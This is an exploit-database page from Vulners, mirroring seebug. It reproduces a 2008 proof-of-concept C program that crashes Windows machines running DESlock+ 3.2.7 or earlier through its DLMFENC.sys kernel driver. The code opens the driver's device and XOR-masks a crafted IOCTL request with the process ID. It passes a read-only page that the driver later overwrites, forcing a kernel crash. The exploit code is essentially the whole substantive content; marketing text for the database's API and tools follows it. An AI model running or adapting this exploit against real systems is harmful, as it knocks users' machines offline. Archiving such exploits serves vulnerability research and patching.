Lucene search
K

DESlock+ <= 3.2.7 (probe read) Local Kernel Denial of Service PoC

🗓️ 21 Sep 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

DESlock+ <= 3.2.7 (probe read) Local Kernel Denial of Service PoC by mu-b - Sat 19 Jul 2008. Tested on DLMFENC.sys 1.0.0.28. Calls ProbeForRead with a user-definable address, eventually overwritten

Code

                                                /* deslock-probe-read.c
 *
 * Copyright (c) 2008 by &lt;[email protected]&gt;
 *
 * DESlock+ &lt;= 3.2.7 local kernel DoS POC
 * by mu-b - Sat 19 Jul 2008
 *
 * - Tested on: DLMFENC.sys 1.0.0.28
 *
 * call to ProbeForRead with a user-definable address that
 * is eventually overwritten (should have been ProbeForWrite).
 *
 * http://www.cctmark.gov.uk/CCTMAwards/DataEncryptionSystemsLtd/tabid/103/Default.aspx
 * - I wonder what that says about CESG CCTM?
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include &lt;stdio.h&gt;
#include &lt;stdlib.h&gt;

#include &lt;windows.h&gt;

#define DLMFENC_IOCTL 0x0FA4204C
#define DLMFENC_FLAG  0xC001D00D

#define ARG_SIZE(a)   ((a-(sizeof (int)*2))/sizeof (void *))

struct ioctl_req {
  int flag;
  int req_num;
  void *arg[ARG_SIZE(0x20)];
};

static void
xor_mask_req (struct ioctl_req *req)
{
  DWORD i, pid;
  PCHAR ptr;

  pid = GetCurrentProcessId ();
  for (i = 0, ptr = (PCHAR) req; i &lt; 0x0C; i++, ptr++)
    *ptr ^= pid;
}

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile, hThread;
  DWORD rlen, dThread, nTotal, nFail;
  LPVOID zpage;
  BOOL result;

  printf (&quot;DESlock+ &lt;= 3.2.7 local kernel DoS PoC\n&quot;
          &quot;by: &lt;[email protected]&gt;\n&quot;
          &quot;http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n&quot;);

  fflush (stdout);
  hFile = CreateFileA (&quot;\\\\.\\DLKPFSD_Device&quot;, FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, &quot;* CreateFileA failed, %d\n&quot;, hFile);
      exit (EXIT_FAILURE);
    }

  zpage = VirtualAlloc (NULL, 0x1000,
                        MEM_RESERVE|MEM_COMMIT, PAGE_READONLY);
  if (zpage == NULL)
    {
      fprintf (stderr, &quot;* VirtualAlloc failed\n&quot;);
      exit (EXIT_FAILURE);
    }
  printf (&quot;* allocated page: 0x%08X [%d-bytes]\n&quot;,
          zpage, 0x1000);

  req.flag = DLMFENC_FLAG;
  req.req_num = 18;
  req.arg[0] = (void *) zpage;
  sleep (2000);

  xor_mask_req (&amp;req);
  result = DeviceIoControl (hFile, DLMFENC_IOCTL,
                            &amp;req, sizeof req, &amp;req, sizeof req, &amp;rlen, 0);
  if (!result)
    {
      fprintf (stderr, &quot;* DeviceIoControl failed\n&quot;);
      exit (EXIT_FAILURE);
    }

  printf (&quot;* hmmm, you didn't STOP the box?!?!\n&quot;);

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

21 Sep 2008 00:00Current
7.1High risk
Vulners AI Score7.1
11